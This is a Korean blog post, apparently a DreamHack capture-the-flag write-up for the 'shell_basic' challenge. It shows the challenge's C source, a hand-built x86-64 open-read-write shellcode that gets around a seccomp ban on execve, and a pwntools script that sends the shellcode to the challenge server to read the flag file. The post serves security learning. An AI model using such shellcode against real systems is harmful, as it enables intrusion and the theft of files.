Recent Posts
Recent Comments
Link
«   2024/12   »
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

CIDY

[System_Hacking] 문제풀이(shell_basic) 본문

Hack/DreamHack

[System_Hacking] 문제풀이(shell_basic)

CIDY 2022. 8. 8. 23:48

복습 겸 1레벨부터 문제를 다시 풀어보려고 한다. 새롭게 보이는 것도 있지 않을까..

// Compile: gcc -o shell_basic shell_basic.c -lseccomp
// apt install seccomp libseccomp-dev
// 64-bit, full relro, nx, pie

#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <signal.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void init() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(10);
}

void banned_execve() {
  scmp_filter_ctx ctx;
  ctx = seccomp_init(SCMP_ACT_ALLOW);
  if (ctx == NULL) {
    exit(0);
  }
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);

  seccomp_load(ctx);
}

void main(int argc, char *argv[]) {
  char *shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);   
  void (*sc)();
  
  init();
  
  banned_execve();

  printf("shellcode: ");
  read(0, shellcode, 0x1000);

  sc = (void *)shellcode;
  sc();
}


우선 쉘코드를 쓰라는 문제인 것 같은데,
seccomp이 걸려있다. deny list방식인 것 같은데, 전체를 허용한 다음 execve와 execveat을 막아뒀다.

그럼 flag를 open -> read -> write하는 쉘코드를 만들면 될 것 같다.

물론 shellcraft를 쓰는 게 훨씬 빠르겠지만 지난 풀이↓ 에서 그걸 써서 했으니 이번에는 꼭 직접 만들어 봐야겠다...
https://orcinus-orca.tistory.com/25

[System_Hacking] stage4_문제풀이(shell_basic)

쉘코드 짜다가 빡쳐서 결국 shellcraft씀 ㅎㅎㅎ pwntools너무좋아 // Compile: gcc -o shell_basic shell_basic.c -lseccomp // apt install seccomp libseccomp-dev // 64-bit, nx, pie, full relro #include #i..

orcinus-orca.tistory.com




open은 시스템 콜 번호 0x2번에, 첫 번째 인자로 const char* filename 를 주면 된다.
read는 호출번호 0x0, 첫 번째 인자는 open에서 반환된 파일 디스크립터, 두 번째 인자는 읽어서 둘 버퍼, 세 번째 인자는 읽을 크기인 것 같다.
write는 호출번호 0x1, 출력해야 하니 첫 번째 인자는 1, 두세 번째 인자는 그냥 두면 될 듯 하다.


asm코드로 한번 짜 보자


아 참고로 플래그 위치는 저렇게 생겼다.
저걸 숫자로 표현하면...

68732f656d6f682f
6c5f73695f656d61
697361625f6c6c65
6e5f67616c662f63
676e6f6f6f6f6f6f

이렇게 쌓아줘야 한다. 8의 배수로 준 것에 감사해야 하는 부분인가... 평소에는 rax에 mov하고 레지스터를 push했는데... 64비트에서 스택에 바로 push해도 되나? -> 안될 것 같으니 일일이 mov해줘야지..

global _start

_start: 
        ;open
        xor rsi, rsi
        xor rdx, rdx
        push rsi
        mov rax, 0x676e6f6f6f6f6f6f
        push rax
        mov rax, 0x6c5f73695f656d61
        push rax
        mov rax, 0x6e5f67616c662f63
        push rax
        mov rax, 0x697361625f6c6c65
        push rax
        mov rax, 0x68732f656d6f682f
        push rax
        mov rdi, rsp
        mov rax, 0x02
        syscall

        ;read
        mov rdi, rax
        mov rsi, rsp
        sub rsi, 0x50
        mov rdx, 0x50
        mov rax, 0x0
        syscall

        ;write
        mov rdi, 0x1
        mov rax, 0x1
        syscall


일단 어셈블리로 짜면 이렇게 짜면 된다. 초반에 push rsi해준거는 혹시몰라 널을 하나 받쳐준것이고, 나머지는 위 설명과 동일하다.


덤프떠보면 이렇게 생겼다. 쟤네들을 모아주면 그게 쉘코드이다.

\x48\x31\xf6\x48\x31\xd2\x56\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\xb8\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x50\xba\x50\x00\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05

from pwn import *

p = remote("host3.dreamhack.games", 14160)

shellcode = b"\x48\x31\xf6\x48\x31\xd2\x56\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\xb8\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x50\xba\x50\x00\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05"
p.sendafter(b": ", shellcode)
p.interactive()


그렇게 나온 페이로드. 근데 널이 있는 쉘코드는 잘 실행 안된다던데 널 있어도 얘는 왜 잘 되는 걸까?

flag